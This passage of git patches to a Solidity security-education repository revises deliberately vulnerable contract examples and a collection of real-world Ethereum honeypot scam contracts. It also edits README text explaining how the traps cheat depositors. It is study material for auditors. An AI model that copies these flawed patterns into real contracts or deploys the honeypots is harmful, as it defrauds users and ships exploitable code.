=> uint) public refundAmount; - uint256 nextIdx; - - function refundSafe() public { - uint256 i = nextIdx; - while(i < refundAddresses.length && msg.gas > 200000) { - refundAddresses[i].transfer(refundAmount[i]); - i++; +// This is safe against the list length causing out of gas issues +// This is NOT safe against the payee causing the execution to revert +contract CrowdFundSafer { + address[] private refundAddresses; + mapping(address => uint) public refundAmount; + uint256 public nextIdx; + function refundSafe() public { + uint256 i = nextIdx; + // Refunds are only processed as long as sufficient gas remains + while(i < refundAddresses.length && msg.gas > 200000) { + refundAddresses[i].transfer(refundAmount[i]); + i++; + } + nextIdx = i; // solhint-disable-line reentrancy } - nextIdx = i; - } } diff --git a/not-so-smart-contracts/solidity/forced_ether_reception/README.md b/not-so-smart-contracts/solidity/forced_ether_reception/README.md index a67aa91a..25d30671 100644 --- a/not-so-smart-contracts/solidity/forced_ether_reception/README.md +++ b/not-so-smart-contracts/solidity/forced_ether_reception/README.md @@ -14,15 +14,16 @@ contract Sender { } ``` +Alternatively, if a miner sets some contract as the block's `coinbase` then it's ether balance will be increased without executing any `fallback()` or `receive()` code that might be present. + ## Example -- The MyAdvancedToken contract in [coin.sol](coin.sol#L145) is vulnerable to this attack. It will stop the owner to perform the migration of the contract. +- The MyAdvancedToken contract in [coin.sol](coin.sol#L145) is vulnerable to this attack. The owner will not be able to perform a migration of the contract if it receives ether outside of a call to `buy()`. ## Mitigations -There is no way to block the reception of ether. The only mitigation is to avoid assuming how the balance of the contract -increases and implement checks to handle this type of edge cases. +There is no way to completely block the reception of ether. The only mitigation is to avoid assuming how the balance of the contract increases and implement checks to handle this type of edge cases. ## References -- https://solidity.readthedocs.io/en/develop/security-considerations.html#sending-and-receiving-ether +- [Solidity docs re sending & receiving ether](https://solidity.readthedocs.io/en/develop/security-considerations.html#sending-and-receiving-ether) diff --git a/not-so-smart-contracts/solidity/forced_ether_reception/coin.sol b/not-so-smart-contracts/solidity/forced_ether_reception/coin.sol index a165c4c7..eee5b4c4 100644 --- a/not-so-smart-contracts/solidity/forced_ether_reception/coin.sol +++ b/not-so-smart-contracts/solidity/forced_ether_reception/coin.sol @@ -1,32 +1,30 @@ -// taken from https://www.ethereum.org/token#the-coin (4/9/2018) +pragma solidity ^0.8.17; -pragma solidity ^0.4.16; - -contract owned { +contract Owned { address public owner; - function owned() public { + constructor() { owner = msg.sender; } modifier onlyOwner { - require(msg.sender == owner); + require(msg.sender == owner, "permission denied"); _; } - function transferOwnership(address newOwner) onlyOwner public { + function transferOwnership(address newOwner) public onlyOwner { owner = newOwner; } } -interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } +interface TokenRecipient { + function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; +} contract TokenERC20 { - // Public variables of the token string public name; string public symbol; - uint8 public decimals = 18; - // 18 decimals is the strongly suggested default, avoid changing it + uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances @@ -39,77 +37,23 @@ contract TokenERC20 { // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); - /** - * Constrctor function - * - * Initializes contract with initial supply tokens to the creator of the contract - */ - function TokenERC20( - string tokenName, - string tokenSymbol - ) public { - name = tokenName; // Set the name for display purposes - symbol = tokenSymbol; // Set the symbol for display purposes + constructor(string tokenName, string tokenSymbol) { + name = tokenName; + symbol = tokenSymbol; } - /** - * Internal transfer, only can be called by this contract - */ - function _transfer(address _from, address _to, uint _value) internal { - // Prevent transfer to 0x0 address. - require(_to != 0x0); - // Check if the sender has enough - require(balanceOf[_from] >= _value); - // Check for overflows - require(balanceOf[_to] + _value > balanceOf[_to]); - // Save this for an assertion in the future - uint previousBalances = balanceOf[_from] + balanceOf[_to]; - // Subtract from the sender - balanceOf[_from] -= _value; - // Add the same to the recipient - balanceOf[_to] += _value; - emit Transfer(_from, _to, _value); - // Asserts are used to use static analysis to find bugs in your code. They should never fail - assert(balanceOf[_from] + balanceOf[_to] == previousBalances); - } - - /** - * Transfer tokens - * - * Send `_value` tokens to `_to` from your account - * - * @param _to The address of the recipient - * @param _value the amount to send - */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } - /** - * Transfer tokens from other address - * - * Send `_value` tokens to `_to` in behalf of `_from` - * - * @param _from The address of the sender - * @param _to The address of the recipient - * @param _value the amount to send - */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { - require(_value <= allowance[_from][msg.sender]); // Check allowance + require(_value <= allowance[_from][msg.sender], "Insuffient allowance"); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } - /** - * Set allowance for other address - * - * Allows `_spender` to spend no more than `_value` tokens in your behalf - * - * @param _spender The address authorized to spend - * @param _value the max amount they can spend - */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; @@ -117,67 +61,69 @@ contract TokenERC20 { return true; } - /** - * Set allowance for other address and notify - * - * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it - * - * @param _spender The address authorized to spend - * @param _value the max amount they can spend - * @param _extraData some extra information to send to the approved contract - */ - function approveAndCall(address _spender, uint256 _value, bytes _extraData) - public - returns (bool success) { - tokenRecipient spender = tokenRecipient(_spender); - if (approve(_spender, _value)) { - spender.receiveApproval(msg.sender, _value, this, _extraData); - return true; - } + function _transfer(address _from, address _to, uint _value) internal { + // Prevent transfer to 0x0 address. + require(_to != 0x0, "Invalid address"); + // Check if the sender has enough + require(balanceOf[_from] >= _value, "Insufficient balance"); + // Check for overflows + require(balanceOf[_to] + _value > balanceOf[_to], "Overflow"); + // Save this for an assertion in the future + uint previousBalances = balanceOf[_from] + balanceOf[_to]; + // Subtract from the sender + balanceOf[_from] -= _value; + // Add the same to the recipient + balanceOf[_to] += _value; + emit Transfer(_from, _to, _value); + // Asserts are used to use static analysis to find bugs in your code. They should never fail + assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } } -/******************************************/ -/* ADVANCED TOKEN STARTS HERE */ -/******************************************/ - -contract MyAdvancedToken is owned, TokenERC20 { - +contract MyAdvancedToken is Owned, TokenERC20 { mapping (address => bool) public frozenAccount; - /* This generates a public event on the blockchain that will notify clients */ - event FrozenFunds(address target, bool frozen); - - /* Initializes contract with initial supply tokens to the creator of the contract */ - function MyAdvancedToken( - string tokenName, - string tokenSymbol - ) TokenERC20(tokenName, tokenSymbol) public {} + constructor(string tokenName, string tokenSymbol) { + TokenERC20(tokenName, tokenSymbol); + } - /* Internal transfer, only can be called by this contract */ + // Internal transfer, only can be called by this contract function _transfer(address _from, address _to, uint _value) internal { - require (_to != 0x0); // Prevent transfer to 0x0 address. - require (balanceOf[_from] >= _value); // Check if the sender has enough - require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows - require(!frozenAccount[_from]); // Check if sender is frozen - require(!frozenAccount[_to]); // Check if recipient is frozen - balanceOf[_from] -= _value; // Subtract from the sender - balanceOf[_to] += _value; // Add the same to the recipient + require (_to != 0x0, "Invalid address"); + require (balanceOf[_from] >= _value, "Insufficient Balance"); + require (balanceOf[_to] + _value >= balanceOf[_to], "Overflow"); + require(!frozenAccount[_from], "Frozen sender"); + require(!frozenAccount[_to], "Frozen recipient"); + balanceOf[_from] -= _value; + balanceOf[_to] += _value; emit Transfer(_from, _to, _value); } - /// @notice Buy tokens from contract by sending ether - function buy() payable public { - uint amount = msg.value; // calculates the amount - balanceOf[msg.sender] += amount; // updates the balance - totalSupply += amount; // updates the total supply - _transfer(address(0x0), msg.sender, amount); // makes the transfer + // Buy tokens from contract by sending ether + function buy() public payable { + uint amount = msg.value; + balanceOf[msg.sender] += amount; + totalSupply += amount; // Increase total supply whenever new tokens are purchased + _transfer(address(0x0), msg.sender, amount); + } + + // Migration function + // NOTE: this function will fail if this contract receives ether outside of a call to buy() + function migrateAndDestroy() public onlyOwner { + assert(this.balance == totalSupply); // ERROR this can be DoS'd + selfdestruct(owner); } - /* Migration function */ - function migrate_and_destroy() onlyOwner { - assert(this.balance == totalSupply); // consistency check - suicide(owner); // transfer the ether to the owner and kill the contract + // The following attempts to prevent anyone from sending ether to this contract + // BUT even with the following functions in place, this contract can still receive ether via: + // - a miner setting this address as it's beneficiary and then mining a block + // - a contract selfdestructs and sets this address as it's beneficiary + receive() public payable { + revert("Only send ether through buy()"); } + fallback() public payable { + revert("Only send ether through buy()"); + } + } From 4281a0201cf4d4bdc6057917b2eb100873a999f1 Mon Sep 17 00:00:00 2001 From: bohendo Date: Tue, 4 Oct 2022 15:49:38 -0400 Subject: [PATCH 68/73] honeypot editing pass --- .solhint.json | 2 +- .../solidity/honeypots/GiftBox.sol | 47 ++++++++ .../solidity/honeypots/GiftBox/GiftBox.sol | 68 ------------ .../solidity/honeypots/GiftBox/README.md | 6 - .../solidity/honeypots/KOTH.sol | 40 +++++++ .../solidity/honeypots/KOTH/KOTH.sol | 31 ------ .../solidity/honeypots/KOTH/README.md | 5 - .../solidity/honeypots/Lottery.sol | 105 ++++++++++++++++++ .../solidity/honeypots/Lottery/Lottery.sol | 97 ---------------- .../solidity/honeypots/Lottery/README.md | 5 - .../solidity/honeypots/Multiplicator.sol | 19 ++++ .../honeypots/Multiplicator/Multiplicator.sol | 26 ----- .../honeypots/Multiplicator/README.md | 5 - .../solidity/honeypots/PrivateBank.sol | 48 ++++++++ .../honeypots/PrivateBank/PrivateBank.sol | 68 ------------ .../solidity/honeypots/PrivateBank/README.md | 5 - .../solidity/honeypots/README.md | 69 +++++++++--- .../honeypots/{VarLoop => }/VarLoop.sol | 0 .../solidity/honeypots/VarLoop/README.md | 5 - 19 files changed, 312 insertions(+), 339 deletions(-) create mode 100644 not-so-smart-contracts/solidity/honeypots/GiftBox.sol delete mode 100644 not-so-smart-contracts/solidity/honeypots/GiftBox/GiftBox.sol delete mode 100644 not-so-smart-contracts/solidity/honeypots/GiftBox/README.md create mode 100644 not-so-smart-contracts/solidity/honeypots/KOTH.sol delete mode 100644 not-so-smart-contracts/solidity/honeypots/KOTH/KOTH.sol delete mode 100644 not-so-smart-contracts/solidity/honeypots/KOTH/README.md create mode 100644 not-so-smart-contracts/solidity/honeypots/Lottery.sol delete mode 100644 not-so-smart-contracts/solidity/honeypots/Lottery/Lottery.sol delete mode 100644 not-so-smart-contracts/solidity/honeypots/Lottery/README.md create mode 100644 not-so-smart-contracts/solidity/honeypots/Multiplicator.sol delete mode 100644 not-so-smart-contracts/solidity/honeypots/Multiplicator/Multiplicator.sol delete mode 100644 not-so-smart-contracts/solidity/honeypots/Multiplicator/README.md create mode 100644 not-so-smart-contracts/solidity/honeypots/PrivateBank.sol delete mode 100644 not-so-smart-contracts/solidity/honeypots/PrivateBank/PrivateBank.sol delete mode 100644 not-so-smart-contracts/solidity/honeypots/PrivateBank/README.md rename not-so-smart-contracts/solidity/honeypots/{VarLoop => }/VarLoop.sol (100%) delete mode 100644 not-so-smart-contracts/solidity/honeypots/VarLoop/README.md diff --git a/.solhint.json b/.solhint.json index cfcb3d9b..816d574c 100644 --- a/.solhint.json +++ b/.solhint.json @@ -1,7 +1,7 @@ { "extends": "solhint:recommended", "rules": { - "compiler-version": ["warn", "^0.8.0"], + "compiler-version": ["off"], "func-visibility": ["warn",{ "ignoreConstructors":true }] } } diff --git a/not-so-smart-contracts/solidity/honeypots/GiftBox.sol b/not-so-smart-contracts/solidity/honeypots/GiftBox.sol new file mode 100644 index 00000000..e0dcbceb --- /dev/null +++ b/not-so-smart-contracts/solidity/honeypots/GiftBox.sol @@ -0,0 +1,47 @@ +pragma solidity ^0.8.17; + +contract NewYearsGift { + string private message; + bool public passHasBeenSet = false; + address public sender; + bytes32 public passwordHash; + + function() public payable{} + + function setPassword(bytes32 newPassword) external payable { + if ((!passHasBeenSet && (msg.value > 1 ether)) || passwordHash == 0x0) { + passwordHash = getHash(newPassword); + sender = msg.sender; + } + } + + function setMessage(string _message) external { + if (msg.sender == sender) { + message = _message; + } + } + + function getGift(bytes password) external payable returns (string) { + if (passwordHash == getHash(password)) { + msg.sender.transfer(this.balance); + return message; + } + } + + function revoke() external payable { + if (msg.sender == sender) { + message = ""; + sender.transfer(this.balance); + } + } + + function getHash(bytes password) internal constant returns (bytes32) { + return keccak256(password); + } + + function passHasBeenSet(bytes32 currentPasswordHash) external { + if (msg.sender == sender && currentPasswordHash == passwordHash) { + passHasBeenSet = true; + } + } +} diff --git a/not-so-smart-contracts/solidity/honeypots/GiftBox/GiftBox.sol b/not-so-smart-contracts/solidity/honeypots/GiftBox/GiftBox.sol deleted file mode 100644 index 457ab426..00000000 --- a/not-so-smart-contracts/solidity/honeypots/GiftBox/GiftBox.sol +++ /dev/null @@ -1,68 +0,0 @@ -pragma solidity ^0.4.19; - -contract NEW_YEARS_GIFT -{ - string message; - - bool passHasBeenSet = false; - - address sender; - - bytes32 public hashPass; - - function() public payable{} - - function GetHash(bytes pass) public constant returns (bytes32) {return sha3(pass);} - - function SetPass(bytes32 hash) - public - payable - { - if( (!passHasBeenSet&&(msg.value > 1 ether)) || hashPass==0x0 ) - { - hashPass = hash; - sender = msg.sender; - } - } - - function SetMessage(string _message) - public - { - if(msg.sender==sender) - { - message =_message; - } - } - - function GetGift(bytes pass) - external - payable - returns (string) - { - if(hashPass == sha3(pass)) - { - msg.sender.transfer(this.balance); - return message; - } - } - - function Revoce() - public - payable - { - if(msg.sender==sender) - { - sender.transfer(this.balance); - message=""; - } - } - - function PassHasBeenSet(bytes32 hash) - public - { - if(msg.sender==sender&&hash==hashPass) - { - passHasBeenSet=true; - } - } -} diff --git a/not-so-smart-contracts/solidity/honeypots/GiftBox/README.md b/not-so-smart-contracts/solidity/honeypots/GiftBox/README.md deleted file mode 100644 index 7e7c57dc..00000000 --- a/not-so-smart-contracts/solidity/honeypots/GiftBox/README.md +++ /dev/null @@ -1,6 +0,0 @@ -# GiftBox - -## Trap -Relies on abusing etherscan transaction viewer that does not display 0 value -internal transactions that allows the owner to trap deposited ether in the -contract. diff --git a/not-so-smart-contracts/solidity/honeypots/KOTH.sol b/not-so-smart-contracts/solidity/honeypots/KOTH.sol new file mode 100644 index 00000000..8b4f28dd --- /dev/null +++ b/not-so-smart-contracts/solidity/honeypots/KOTH.sol @@ -0,0 +1,40 @@ +pragma solidity ^0.5.17; + +// +//Live TEST ---- Please Do NOT use! Thanks! ---- +// +contract Ownable { + address public owner; + function Ownable() public { + owner = msg.sender; + } + modifier onlyOwner() { + require(msg.sender == owner, "Permission denied"); + _; + } +} + +// CEO Throne .. The CEO with the highest stake gets the control over the contract +// msg.value needs to be higher than largestStake when calling stake() + +contract CEOThrone is Ownable { + address public owner; + uint public largestStake; + + // stake() function being called with 0xde20bc92 and ETH :: recommended gas limit 35.000 + // The sent ETH is checked against largestStake + function stake() public payable { + // if you own the largest stake in a company, you own a company + if (msg.value > largestStake) { + owner = msg.sender; + largestStake = msg.value; + } + } + + // withdraw() function being called with 0x3ccfd60b :: recommened gas limit 30.000 + function withdraw() public onlyOwner { + // only owner can withdraw funds + msg.sender.transfer(this.balance); + } + +} diff --git a/not-so-smart-contracts/solidity/honeypots/KOTH/KOTH.sol b/not-so-smart-contracts/solidity/honeypots/KOTH/KOTH.sol deleted file mode 100644 index 58471a42..00000000 --- a/not-so-smart-contracts/solidity/honeypots/KOTH/KOTH.sol +++ /dev/null @@ -1,31 +0,0 @@ -pragma solidity ^0.4.19; -// -//Live TEST ---- Please Do NOT use! Thanks! ---- -// -contract Ownable { - address public owner; - function Ownable() public {owner = msg.sender;} - modifier onlyOwner() {require(msg.sender == owner); _; - } -} -//CEO Throne .. The CEO with the highest stake gets the control over the contract -//msg.value needs to be higher than largestStake when calling Stake() - -contract CEOThrone is Ownable { - address public owner; - uint public largestStake; -// Stake() function being called with 0xde20bc92 and ETH :: recommended gas limit 35.000 -// The sent ETH is checked against largestStake - function Stake() public payable { - // if you own the largest stake in a company, you own a company - if (msg.value > largestStake) { - owner = msg.sender; - largestStake = msg.value; - } - } -// withdraw() function being called with 0x3ccfd60b :: recommened gas limit 30.000 - function withdraw() public onlyOwner { - // only owner can withdraw funds - msg.sender.transfer(this.balance); - } -} diff --git a/not-so-smart-contracts/solidity/honeypots/KOTH/README.md b/not-so-smart-contracts/solidity/honeypots/KOTH/README.md deleted file mode 100644 index 7566ea3a..00000000 --- a/not-so-smart-contracts/solidity/honeypots/KOTH/README.md +++ /dev/null @@ -1,5 +0,0 @@ -# King Of The Hill - -## Trap -Variable shadowing of the `owner` ensures it is never reassigned. - diff --git a/not-so-smart-contracts/solidity/honeypots/Lottery.sol b/not-so-smart-contracts/solidity/honeypots/Lottery.sol new file mode 100644 index 00000000..a9f1e04a --- /dev/null +++ b/not-so-smart-contracts/solidity/honeypots/Lottery.sol @@ -0,0 +1,105 @@ +/* + * This is a distributed lottery that chooses random addresses as lucky addresses. If these + * participate, they get the jackpot: 7 times the price of their bet. + * Of course one address can only win once. The owner regularly reseeds the secret + * seed of the contract (based on which the lucky addresses are chosen), so if you did not win, + * just wait for a reseed and try again! + * + * Jackpot chance: 1 in 8 + * Ticket price: Anything larger than (or equal to) 0.1 ETH + * Jackpot size: 7 times the ticket price + * + * HOW TO PARTICIPATE: Just send any amount greater than (or equal to) 0.1 ETH to the contract's address + * Keep in mind that your address can only win once + * + * If the contract doesn't have enough ETH to pay the jackpot, it sends the whole balance. +*/ + +contract OpenAddressLottery{ + struct SeedComponents{ + uint component1; + uint component2; + uint component3; + uint component4; + } + + address public owner; // address of the owner + uint private secretSeed; // seed used to calculate number of an address + uint private lastReseed; // last reseed - used to automatically reseed the contract every 1000 blocks + uint public luckyNumber = 7; // if the number of an address equals 7, it wins + + mapping (address => bool) public winner; // keeping track of addresses that have already won + + function OpenAddressLottery() { + owner = msg.sender; + reseed(SeedComponents( + (uint)(block.coinbase), + block.difficulty, + block.gaslimit, + block.timestamp // solhint-disable-line not-rely-on-time + )); + } + + function participate() public payable { + if (msg.value<0.1 ether) return; //verify ticket price + // make sure he hasn't won already + require(winner[msg.sender] == false, "Already won"); + if (luckyNumberOfAddress(msg.sender) == luckyNumber) { //check if it equals 7 + winner[msg.sender] = true; // every address can only win once + uint win=msg.value*7; //win = 7 times the ticket price + //if the balance isnt sufficient, send everything we've got + if (win>this.balance) win=this.balance; + msg.sender.transfer(win); + } + if (block.number-lastReseed>1000) { + //generate a quality random seed + reseed(SeedComponents( + (uint)(block.coinbase), + block.difficulty, + block.gaslimit, + block.timestamp // solhint-disable-line not-rely-on-time + )); + } + } + + function luckyNumberOfAddress(address addr) public constant returns(uint n){ + // calculate the number of current address - 1 in 8 chance + n = uint(keccak256(uint(addr), secretSeed)[0]) % 8; + } + + function reseed(SeedComponents components) internal { + secretSeed = uint256(keccak256( + components.component1, + components.component2, + components.component3, + components.component4 + )); //hash the incoming parameters and use the hash to (re)initialize the seed + lastReseed = block.number; + } + + function kill() public { + require(msg.sender==owner, "Permission denied"); + selfdestruct(msg.sender); + } + + function forceReseed() public { // reseed initiated by the owner - for testing purposes + require(msg.sender == owner, "Permission denied"); + SeedComponents s; + s.component1 = uint(msg.sender); + s.component2 = uint256( + block.blockhash(block.number - 1) // solhint-disable-line not-rely-on-block-hash + ); + s.component3 = block.difficulty*(uint)(block.coinbase); + s.component4 = tx.gasprice * 7; + reseed(s); //reseed + } + + // if someone sends money without any function call, just assume he wanted to participate + receive() public payable { + // owner can't participate, he can only fund the jackpot + if (msg.value >= 0.1 ether && msg.sender != owner) { + participate(); + } + } + +} diff --git a/not-so-smart-contracts/solidity/honeypots/Lottery/Lottery.sol b/not-so-smart-contracts/solidity/honeypots/Lottery/Lottery.sol deleted file mode 100644 index 2635ea91..00000000 --- a/not-so-smart-contracts/solidity/honeypots/Lottery/Lottery.sol +++ /dev/null @@ -1,97 +0,0 @@ -/* - * This is a distributed lottery that chooses random addresses as lucky addresses. If these - * participate, they get the jackpot: 7 times the price of their bet. - * Of course one address can only win once. The owner regularly reseeds the secret - * seed of the contract (based on which the lucky addresses are chosen), so if you did not win, - * just wait for a reseed and try again! - * - * Jackpot chance: 1 in 8 - * Ticket price: Anything larger than (or equal to) 0.1 ETH - * Jackpot size: 7 times the ticket price - * - * HOW TO PARTICIPATE: Just send any amount greater than (or equal to) 0.1 ETH to the contract's address - * Keep in mind that your address can only win once - * - * If the contract doesn't have enough ETH to pay the jackpot, it sends the whole balance. -*/ - -contract OpenAddressLottery{ - struct SeedComponents{ - uint component1; - uint component2; - uint component3; - uint component4; - } - - address owner; //address of the owner - uint private secretSeed; //seed used to calculate number of an address - uint private lastReseed; //last reseed - used to automatically reseed the contract every 1000 blocks - uint LuckyNumber = 7; //if the number of an address equals 7, it wins - - mapping (address => bool) winner; //keeping track of addresses that have already won - - function OpenAddressLottery() { - owner = msg.sender; - reseed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp)); //generate a quality random seed - } - - function participate() payable { - if(msg.value<0.1 ether) - return; //verify ticket price - - // make sure he hasn't won already - require(winner[msg.sender] == false); - - if(luckyNumberOfAddress(msg.sender) == LuckyNumber){ //check if it equals 7 - winner[msg.sender] = true; // every address can only win once - - uint win=msg.value*7; //win = 7 times the ticket price - - if(win>this.balance) //if the balance isnt sufficient... - win=this.balance; //...send everything we've got - msg.sender.transfer(win); - } - - if(block.number-lastReseed>1000) //reseed if needed - reseed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp)); //generate a quality random seed - } - - function luckyNumberOfAddress(address addr) constant returns(uint n){ - // calculate the number of current address - 1 in 8 chance - n = uint(keccak256(uint(addr), secretSeed)[0]) % 8; - } - - function reseed(SeedComponents components) internal { - secretSeed = uint256(keccak256( - components.component1, - components.component2, - components.component3, - components.component4 - )); //hash the incoming parameters and use the hash to (re)initialize the seed - lastReseed = block.number; - } - - function kill() { - require(msg.sender==owner); - - selfdestruct(msg.sender); - } - - function forceReseed() { //reseed initiated by the owner - for testing purposes - require(msg.sender==owner); - - SeedComponents s; - s.component1 = uint(msg.sender); - s.component2 = uint256(block.blockhash(block.number - 1)); - s.component3 = block.difficulty*(uint)(block.coinbase); - s.component4 = tx.gasprice * 7; - - reseed(s); //reseed - } - - function () payable { //if someone sends money without any function call, just assume he wanted to participate - if(msg.value>=0.1 ether && msg.sender!=owner) //owner can't participate, he can only fund the jackpot - participate(); - } - -} diff --git a/not-so-smart-contracts/solidity/honeypots/Lottery/README.md b/not-so-smart-contracts/solidity/honeypots/Lottery/README.md deleted file mode 100644 index 89d1619c..00000000 --- a/not-so-smart-contracts/solidity/honeypots/Lottery/README.md +++ /dev/null @@ -1,5 +0,0 @@ -# Lottery - -## Trap -Unitialized structs default to acting like storage pointers, allowing the owner -to use the `Seecomponent s` variable to overwrite private variables. diff --git a/not-so-smart-contracts/solidity/honeypots/Multiplicator.sol b/not-so-smart-contracts/solidity/honeypots/Multiplicator.sol new file mode 100644 index 00000000..044009de --- /dev/null +++ b/not-so-smart-contracts/solidity/honeypots/Multiplicator.sol @@ -0,0 +1,19 @@ +pragma solidity ^0.8.17; + +contract Multiplicator { + address public owner = msg.sender; + + fallback() payable {} + + function withdraw() external payable { + require(msg.sender == owner, "Permission Denied"); + owner.transfer(this.balance); + } + + function multiplicate(address adr) external payable { + if (msg.value >= this.balance) { + adr.transfer(this.balance + msg.value); + } + } + +} diff --git a/not-so-smart-contracts/solidity/honeypots/Multiplicator/Multiplicator.sol b/not-so-smart-contracts/solidity/honeypots/Multiplicator/Multiplicator.sol deleted file mode 100644 index 57fbaf74..00000000 --- a/not-so-smart-contracts/solidity/honeypots/Multiplicator/Multiplicator.sol +++ /dev/null @@ -1,26 +0,0 @@ -pragma solidity ^0.4.18; - -contract Multiplicator -{ - address public Owner = msg.sender; - - function()payable{} - - function withdraw() - payable - public - { - require(msg.sender == Owner); - Owner.transfer(this.balance); - } - - function multiplicate(address adr) - payable - { - if(msg.value>=this.balance) - { - adr.transfer(this.balance+msg.value); - } - } -} - diff --git a/not-so-smart-contracts/solidity/honeypots/Multiplicator/README.md b/not-so-smart-contracts/solidity/honeypots/Multiplicator/README.md deleted file mode 100644 index 47eecdc4..00000000 --- a/not-so-smart-contracts/solidity/honeypots/Multiplicator/README.md +++ /dev/null @@ -1,5 +0,0 @@ -# Multiplicator - -## Trap -Abuses global variable semantics of `this.balance` to ensure an impossible -conditional branch. diff --git a/not-so-smart-contracts/solidity/honeypots/PrivateBank.sol b/not-so-smart-contracts/solidity/honeypots/PrivateBank.sol new file mode 100644 index 00000000..67b5a227 --- /dev/null +++ b/not-so-smart-contracts/solidity/honeypots/PrivateBank.sol @@ -0,0 +1,48 @@ +pragma solidity ^0.4.19; + +contract Log { + struct Message { + address sender; + string data; + uint val; + uint time; + } + Message[] public history; + Message public lastMsg; + function addMessage(address _adr,uint _val,string _data) public { + lastMsg.sender = _adr; + lastMsg.time = now; // solhint-disable-line not-rely-on-time + lastMsg.val = _val; + lastMsg.data = _data; + history.push(lastMsg); + } +} + +contract PrivateBank { + mapping (address => uint) public balances; + uint public minDeposit = 1 ether; + Log public transferLog; + + constructor(address _log) { + transferLog = Log(_log); + } + + function deposit() public payable { + if (msg.value >= minDeposit) { + balances[msg.sender]+=msg.value; + transferLog.addMessage(msg.sender, msg.value, "Deposit"); + } + } + + function cashOut(uint _am) public { + if (_am <= balances[msg.sender]) { + if (msg.sender.call{ value: _am}()) { // solhint-disable-line avoid-low-level-calls + balances[msg.sender] -= _am; + transferLog.addMessage(msg.sender, _am, "CashOut"); + } + } + } + + fallback() public payable {} + +} diff --git a/not-so-smart-contracts/solidity/honeypots/PrivateBank/PrivateBank.sol b/not-so-smart-contracts/solidity/honeypots/PrivateBank/PrivateBank.sol deleted file mode 100644 index 1aad589e..00000000 --- a/not-so-smart-contracts/solidity/honeypots/PrivateBank/PrivateBank.sol +++ /dev/null @@ -1,68 +0,0 @@ -pragma solidity ^0.4.19; - -contract Private_Bank -{ - mapping (address => uint) public balances; - - uint public MinDeposit = 1 ether; - - Log TransferLog; - - function Private_Bank(address _log) - { - TransferLog = Log(_log); - } - - function Deposit() - public - payable - { - if(msg.value >= MinDeposit) - { - balances[msg.sender]+=msg.value; - TransferLog.AddMessage(msg.sender,msg.value,"Deposit"); - } - } - - function CashOut(uint _am) - { - if(_am<=balances[msg.sender]) - { - - if(msg.sender.call.value(_am)()) - { - balances[msg.sender]-=_am; - TransferLog.AddMessage(msg.sender,_am,"CashOut"); - } - } - } - - function() public payable{} - -} - -contract Log -{ - - struct Message - { - address Sender; - string Data; - uint Val; - uint Time; - } - - Message[] public History; - - Message LastMsg; - - function AddMessage(address _adr,uint _val,string _data) - public - { - LastMsg.Sender = _adr; - LastMsg.Time = now; - LastMsg.Val = _val; - LastMsg.Data = _data; - History.push(LastMsg); - } -} diff --git a/not-so-smart-contracts/solidity/honeypots/PrivateBank/README.md b/not-so-smart-contracts/solidity/honeypots/PrivateBank/README.md deleted file mode 100644 index 2262ebcc..00000000 --- a/not-so-smart-contracts/solidity/honeypots/PrivateBank/README.md +++ /dev/null @@ -1,5 +0,0 @@ -# Private Bank - -## Trap -External constructor of a `Log` contract does not mirror code included in the -contract and does not succeed if caller is not the owner. diff --git a/not-so-smart-contracts/solidity/honeypots/README.md b/not-so-smart-contracts/solidity/honeypots/README.md index 4c29e319..8447cb7f 100644 --- a/not-so-smart-contracts/solidity/honeypots/README.md +++ b/not-so-smart-contracts/solidity/honeypots/README.md @@ -1,38 +1,73 @@ # Honeypot Collection -The Ethereum community has recently stumbled on a wide slew of honeypot smart contracts operating on the mainnet blockchain - something that we have been investigating for quite some time. They’re designed to entice security researchers and developers to deposit Ethereum into the contract to obtain a chance to exploit ‘easy vulnerabilities’ in Solidity. However, once payment is deposited, the contracts will deploy subtle traps and quirks to lock out the user from successfully claiming the “prize.” +The Ethereum community has recently stumbled on a wide slew of honeypot smart contracts operating on the mainnet blockchain - something that we have been investigating for quite some time. They're designed to entice security researchers and developers to deposit Ethereum into the contract to obtain a chance to exploit 'easy vulnerabilities' in Solidity. However, once payment is deposited, the contracts will deploy subtle traps and quirks to lock out the user from successfully claiming the "prize." -The traps vary in sophistication. Our blockchain security research has turned up six fundamental archetypes that construct most of these honeypots. Some of these contracts are weeks old. A few were released before September, 2017. Many seem to be moderately successful - trapping around 0.1 ether and containing approximately 5 transactions on average. Yet for every successful trap, a large minority of contracts had no interaction at all. These ‘failed honeypots’ most likely served the original developers as a testing environment. The existence of these contracts must be taken into account by academic researchers quantifying the effectiveness of tools and analysis methods for the Ethereum blockchain, given the potential to skew research results. +The traps vary in sophistication. Our blockchain security research has turned up six fundamental archetypes that construct most of these honeypots. Some of these contracts are weeks old. A few were released before September, 2017. Many seem to be moderately successful - trapping around 0.1 ether and containing approximately 5 transactions on average. Yet for every successful trap, a large minority of contracts had no interaction at all. These 'failed honeypots' most likely served the original developers as a testing environment. The existence of these contracts must be taken into account by academic researchers quantifying the effectiveness of tools and analysis methods for the Ethereum blockchain, given the potential to skew research results. Versions of the most recent compilers will emit warnings of most of these traps during compilation. However, some of the contracts rely on logic gaps in the solc compiler and the Solidity language itself. +## [GiftBox](GiftBox.sol) -## [King of the Hill](KOTH/) +Etherscan typically shows two transactions for a `GiftBox`-style honeypot. The first transaction is the contract creation, and the second is a call to a `setPassword` function that appears to set a "secret" `password` value. The secret can, of course, be easily observed on the blockchain, so the victim is tricked into submitting Ether with the correct value. -At first glance this contract appears to be your average King of the Hill ponzi scheme. Participants contribute ether to the contract via the `Stake()` function that keeps track of the latest `owner` and ether deposit that allowed them to become to the current owner. The `withdraw()` function employs an `onlyOwner` modifier, seemingly allowing only the last person recently throned the ability to transfer all funds out of the contract. Stumbling upon this contract on 